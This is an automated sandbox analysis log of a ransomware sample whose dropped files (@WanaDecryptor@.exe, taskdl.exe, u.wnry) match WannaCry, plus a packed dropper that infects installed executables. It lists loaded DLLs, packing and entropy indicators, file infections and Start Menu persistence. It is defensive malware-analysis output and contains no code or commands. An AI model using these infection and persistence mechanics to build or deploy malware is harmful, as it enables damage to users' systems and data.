              Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: faultrep.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: dbghelp.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: dbgcore.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: wer.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: userenv.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: profapi.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: sspicli.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dll
              Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
              Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
              Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
              Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
              Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
              Source: C:\Users\user\AppData\Local\Temp\wBQInv.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32
              Source: C:\Users\user\AppData\Local\Temp\wBQInv.exeAutomated click: OK
              Source: C:\Users\user\AppData\Local\Temp\wBQInv.exeAutomated click: OK
              Source: C:\Users\user\AppData\Local\Temp\wBQInv.exeAutomated click: OK
              Source: Window RecorderWindow detected: More than 3 window changes detected
              Source: ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeStatic file information: File size 3534848 > 1048576
              Source: ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeStatic PE information: Raw size of .rsrc is bigger than: 0x100000 < 0x34a000

              Data Obfuscation

              barindex
              Detected unpacking (changes PE section rights)
              Source: C:\Users\user\AppData\Local\Temp\wBQInv.exeUnpacked PE file: 2.2.wBQInv.exe.410000.0.unpack .text:EW;.rdata:W;.data:W;.reloc:W;.aspack:EW;.adata:EW; vs .text:ER;.rdata:R;.data:W;.reloc:R;.aspack:EW;.adata:EW;
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeCode function: 0_2_00401A45 LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,0_2_00401A45
              Source: initial sampleStatic PE information: section where entry point is pointing to: ];Au~
              Source: ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeStatic PE information: section name: ];Au~
              Source: wBQInv.exe.0.drStatic PE information: section name: .aspack
              Source: wBQInv.exe.0.drStatic PE information: section name: .adata
              Source: Uninstall.exe.2.drStatic PE information: section name: EpNuZ
              Source: SciTE.exe.2.drStatic PE information: section name: u
              Source: MyProg.exe.2.drStatic PE information: section name: PELIB
              Source: MyProg.exe.2.drStatic PE information: section name: Y|uR
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeCode function: 0_2_00407710 push eax; ret 0_2_0040773E
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeCode function: 0_2_004076C8 push eax; ret 0_2_004076E6
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeCode function: 0_2_10006BD0 push eax; ret 0_2_10006BFE
              Source: C:\Users\user\AppData\Local\Temp\wBQInv.exeCode function: 2_2_00411638 push dword ptr [00413084h]; ret 2_2_0041170E
              Source: C:\Users\user\AppData\Local\Temp\wBQInv.exeCode function: 2_2_0041600A push ebp; ret 2_2_0041600D
              Source: C:\Users\user\AppData\Local\Temp\wBQInv.exeCode function: 2_2_00416014 push 004114E1h; ret 2_2_00416425
              Source: C:\Users\user\AppData\Local\Temp\wBQInv.exeCode function: 2_2_00412D9B push ecx; ret 2_2_00412DAB
              Source: wBQInv.exe.0.drStatic PE information: section name: .text entropy: 7.81169422100848
              Source: Uninstall.exe.2.drStatic PE information: section name: EpNuZ entropy: 6.934127987081906
              Source: SciTE.exe.2.drStatic PE information: section name: u entropy: 6.933138098125722
              Source: MyProg.exe.2.drStatic PE information: section name: Y|uR entropy: 6.934398246996399

              Persistence and Installation Behavior

              barindex
              Command shell drops VBS files
              Source: C:\Windows\SysWOW64\cmd.exeFile created: C:\Users\user\Desktop\m.vbs
              Drops PE files to the document folder of the user
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Users\user\Documents\@WanaDecryptor@.exeJump to dropped file
              Infects executable files (exe, dll, sys, html)
              Source: C:\Users\user\AppData\Local\Temp\wBQInv.exeSystem file written: C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe
              Source: C:\Users\user\AppData\Local\Temp\wBQInv.exeSystem file written: C:\Program Files\7-Zip\Uninstall.exe
              Source: C:\Users\user\AppData\Local\Temp\wBQInv.exeSystem file written: C:\Program Files (x86)\AutoIt3\Examples\Helpfile\Extras\MyProg.exe
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Users\user\Documents\@WanaDecryptor@.exeJump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Users\user\Desktop\@WanaDecryptor@.exeJump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Users\user\Desktop\u.wnryJump to dropped file
              Source: C:\Users\user\AppData\Local\Temp\wBQInv.exeFile created: C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exeJump to dropped file
              Source: C:\Users\user\AppData\Local\Temp\wBQInv.exeFile created: C:\Program Files\7-Zip\Uninstall.exeJump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Users\user\Downloads\@WanaDecryptor@.exeJump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Users\jones\AppData\Local\@WanaDecryptor@.exeJump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\@WanaDecryptor@.exeJump to dropped file
              Source: C:\Users\user\AppData\Local\Temp\wBQInv.exeFile created: C:\Program Files (x86)\AutoIt3\Examples\Helpfile\Extras\MyProg.exeJump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Users\user\AppData\Local\Temp\wBQInv.exeJump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Users\user\AppData\Local\@WanaDecryptor@.exeJump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Users\user\Desktop\taskdl.exeJump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Users\user\Desktop\taskse.exeJump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Users\user\Desktop\u.wnryJump to dropped file
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Start Menu\~SDBE4D.tmpJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Start Menu\Programs\~SDBE4E.tmpJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Start Menu\Programs\Java\~SDBE4F.tmpJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Start Menu\~SD6864.tmpJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Start Menu\Programs\~SD6875.tmpJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Start Menu\~SDB59E.tmpJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Start Menu\Programs\~SDB59F.tmpJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Start Menu\Programs\7-Zip\~SDB5A0.tmpJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Start Menu\Programs\Accessibility\~SDB5A1.tmpJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Start Menu\Programs\Accessories\~SDB5A2.tmpJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Start Menu\Programs\Administrative Tools\~SDB5A3.tmpJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Start Menu\Programs\AutoIt v3\~SDB5A4.tmpJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Start Menu\Programs\AutoIt v3\Extras\~SDB5D4.tmpJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Start Menu\Programs\Java\~SDB5D5.tmpJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Start Menu\Programs\Maintenance\~SDB5D6.tmpJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Start Menu\Programs\StartUp\~SDB5D7.tmpJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Start Menu\Programs\System Tools\~SDB5D8.tmpJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Start Menu\Programs\Windows PowerShell\~SDB5D9.tmpJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Start Menu\~SD4911.tmpJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Start Menu\Programs\~SD4912.tmpJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Start Menu\Programs\7-Zip\~SD4913.tmpJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Start Menu\Programs\Accessibility\~SD4914.tmpJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Start Menu\Programs\Accessories\~SD4915.tmpJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Start Menu\Programs\Administrative Tools\~SD4926.tmpJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Start Menu\Programs\AutoIt v3\~SD4927.tmpJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Start Menu\Programs\AutoIt v3\Extras\~SD4928.tmpJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Start Menu\Programs\Java\~SD4929.tmpJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Start Menu\Programs\Maintenance\~SD492A.tmpJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Start Menu\Programs\StartUp\~SD492B.tmpJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Start Menu\Programs\System Tools\~SD492C.tmpJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\~SD492D.tmpJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Start Menu\~SD885.tmpJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Start Menu\Programs\~SD886.tmpJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Start Menu\Programs\7-Zip\~SD887.tmpJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Start Menu\Programs\Accessibility\~SD888.tmpJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Start Menu\Programs\Accessories\~SD889.tmpJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Start Menu\Programs\Accessories\System Tools\~SD88A.tmpJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Start Menu\Programs\Administrative Tools\~SD88B.tmpJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Start Menu\Programs\AutoIt v3\~SD88C.tmpJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Start Menu\Programs\AutoIt v3\Extras\~SD88D.tmpJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Start Menu\Programs\AutoIt v3\Extras\AutoItX\~SD88E.tmpJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Start Menu\Programs\Java\~SD89E.tmpJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Start Menu\Programs\Maintenance\~SD89F.tmpJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Start Menu\Programs\Microsoft Office Tools\~SD8A0.tmpJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Start Menu\Programs\StartUp\~SD8A1.tmpJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Start Menu\Programs\System Tools\~SD8A2.tmpJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Start Menu\Programs\Windows PowerShell\~SD7D66.tmpJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Start Menu\~SDC7A9.tmpJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Start Menu\Programs\~SDC7AA.tmpJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Start Menu\Programs\7-Zip\~SDC7AB.tmpJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Start Menu\Programs\Accessibility\~SDC7AC.tmpJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Start Menu\Programs\Accessories\~SDC7BC.tmpJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Start Menu\Programs\Accessories\System Tools\~SDC7BD.tmpJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Start Menu\Programs\Administrative Tools\~SDC7BE.tmpJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Start Menu\Programs\AutoIt v3\~SDC7BF.tmpJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Start Menu\Programs\AutoIt v3\Extras\~SDC7C0.tmpJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Start Menu\Programs\AutoIt v3\Extras\AutoItX\~SDC7C1.tmpJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Start Menu\Programs\Java\~SDC7C2.tmpJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Start Menu\Programs\Maintenance\~SDC7C3.tmpJump to behavior
